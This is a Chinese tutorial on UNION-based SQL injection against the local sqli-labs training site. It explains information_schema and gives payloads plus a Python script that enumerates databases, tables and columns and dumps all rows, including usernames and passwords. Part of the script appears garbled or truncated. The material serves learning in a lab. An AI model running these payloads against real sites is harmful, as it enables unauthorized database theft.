本篇文章对原理的解释占据主要,输出的美化部分不做详细解释
假设我的数据库有这些
那么通过sql注入把所有数据库的所有表所有字段和所有的内容查找出来
对sql-labs的前四关有效,其实程序是根据sqli-lab的特点而不是像强大的工具sqlmap一样可以完全实现sql注入,而今天的核心就在于三个表达式
select * from users where id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata; -- # //得到数据库名
select * from users where id='-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= 'security'; -- # //得到表名
select * from users where id='-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name= 'users'; -- # //得到列名
select * from users where id='-1' union select 1,username,password from users where id=3; -- # //爆破得到数据
首先了解一下information_schema数据库,我们重点关注他的三个表(columns,schemata,tables)
schemata表的schena_name存储了所有数据库名
table表的table_schema和table_name存储了所有数据库的所有表
同理columns表存储了所有数据库(table_schema)的所有表(table_name)的所有字段(column_name)
information_schema讲完了然后讲讲union方式注入
这里用到了union方式注入。因为elect * from users返回三个字段,所以union也要select三个字段1,2,group_concat(schema_name)
这里的group_concat(schema_name)是把不同的元素组合在一起,比较一下有和没有group_concat()
那么整句话的效果是这样的
追加一个id=’-1’的条件让结果只输出union部分
import requests
from bs4 import BeautifulSoup
import re
def remove(schemas):
schemas.remove('mysql')
schemas.remove('sys')
schemas.remove('information_schema')
schemas.remove('performance_schema')
def show_db(schema):
l=len(schema)+1 if len(schema)> len('databases()') else len('databases()')+1
print('+'+'-'*l+'+' )
print('|'+'{0:^{1}}'.format('database()',l)+'|')
print('+'+'-'*l+'+')
print('|'+'{0:^{1}}'.format(schema,l)+'|')
print('+'+'-'*l+'+')
def num_chinese(stri): #字符串中中文的个数
al=re.compile('[\u4e00-\u9fff]+').findall(stri)
num=([len(i) for i in al])
am=0
for k in num:
am=am+k
return am
def lens(columns, items): #计算每个field的最大长度,用来输出美化
l=[len(i) for i in columns]
for item in items:
tmp=[len(i) for i in item if len(l)==len(item) ] #数据不全pass
for locat,i in enumerate(item):
if re.compile('[\u4e00-\u9fff]+').findall(i) is not [] : #存在中文
am=num_chinese(i)
tmp[locat]=tmp[locat]+am
for k in range(len(l)):
if l[k] len('table()') else len('table()')+1
print('+'+'-'*l+'+' )
print('|'+'{0:^{1}}'.format('table()',l)+'|')
print('+'+'-'*l+'+')
print('|'+'{0:^{1}}'.format(table,l)+'|')
print('+'+'-'*l+'+')
for item in items: #不齐的数据删掉
if len(item) != len(columns):
items.remove(item)
l = lens(columns,items)
print_line(l)
print('| ',end='')
for k in range(len(columns)):
print('{1:^{0}}'.format(l[k]-num_chinese(columns[k]),columns[k])+' | ',end='')
print('')
print_line(l)
for it in items:
print('| ',end='')
for k in range(len(it)):
print('{1:<{0}}'.format(l[k]-num_chinese(it[k]),it[k])+' | ',end='')
print('')
print_line(l)
def get_youwant(URL, type):
pat = '(.*)'+type+':' # (.*)table:
comp = type+':' # table:
connect = requests.get(url=URL)
connect.encoding='utf-8' #解决中文乱码
html = BeautifulSoup(BeautifulSoup(connect.text).prettify())
str = html.find_all(text=re.compile(comp))
try:
return re.sub(pattern=pat, repl='', string=str[0]).strip().split(',')
except:
return []
def sqli(URL):
# http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,concat('schemas:',group_concat(schema_name)) from information_schema.schemata -- #
payload = URL+"union%20select%201,2,concat('schemas:',group_concat(schema_name))%20from%20information_schema.schemata%23"
schemas = get_youwant(payload, 'schemas')
remove(schemas)
for schema in schemas:
show_db(schema)
type = 'tables'
# http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,concat('tables:',group_concat(table_name)),3 from information_schema.tables where table_schema= 'schema'; -- #
payload = URL+"union%20select%201,concat('"+type + \
":',group_concat(table_name)),3%20from%20information_schema.tables%20where%20table_schema=%20%27" + \
schema+"%27;%20--%20#"
tables = get_youwant(payload, type)
for table in tables:
type = 'columns'
# http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,concat('columns:',group_concat(table_name)),3 from information_schema.columns where table_name='table' and table_schema= 'schema'; -- #
payload=URL+"union%20select%201,concat('"+type+":',group_concat(column_name)),3%20from%20information_schema.columns%20where%20table_name=%20%27"+table+"%27%20and%20table_schema=%27"+schema+"%27;%20--%20#"
columns = get_youwant(payload, type)
seg=(",%27|%27,".join(columns)) # 一次性获取所有字段的所有值 email,'|',tel,'|',password,'|',name,'|',type
# http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,concat('items:',group_concat(email,'|',tel,'|',password,'|',name,'|',type)),3 from schema.table; -- #
payload=URL+"union%20select%201,2,%20concat(%27items:%27,%20group_concat(" + seg + "))%20from%20" + schema+"."+table + ";%20--%20#"
items=get_youwant(payload,'items')
show_tab(columns,[i.split('|') for i in items],table)
if __name__ == "__main__":
URL="http://127.0.0.1/sqli-labs/Less-1/?id=-1'"
# URL='http://127.0.0.1/sqli-labs/Less-2/?id=-1 '
# URL="http://127.0.0.1/sqli-labs/Less-3/?id=-1') "
# URL='http://127.0.0.1/sqli-labs/Less-4/?id=-1") '
sqli(URL)
两个重要的函数sqli(URL):
和get_youwant(URL, type):
其他的函数用作输出的美化
get_youwant(URL,type):
类似于爬虫,根据你输入的URL和想要获取的类型(schemas,tables,columns)返回一个列表
比如
get_youwant("http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata -- #", "schemas")
经过页面元素过滤(自设schemas:过滤点)之后,返回我的所有数据库名称
['information_schema', 'challenges', 'mysql', 'performance_schema', 'pikachu', 'pkxss', 'security', 'sys', 'test', 'testt', 'www']
sqli(URL):
函数就是不断调用get_youwant(URL, type):
获取内容并且格式化输出
1.只是根据报错注入,这是sql注入最简单的一种,而且大部分情况下页面是不会输出错误的,所以他在sqli-labs中只是1~4关最初级的关卡。
2.基于sql-labs现有的id属性,而不是自动发现注入点。
等等这些问题以后的文章进行改进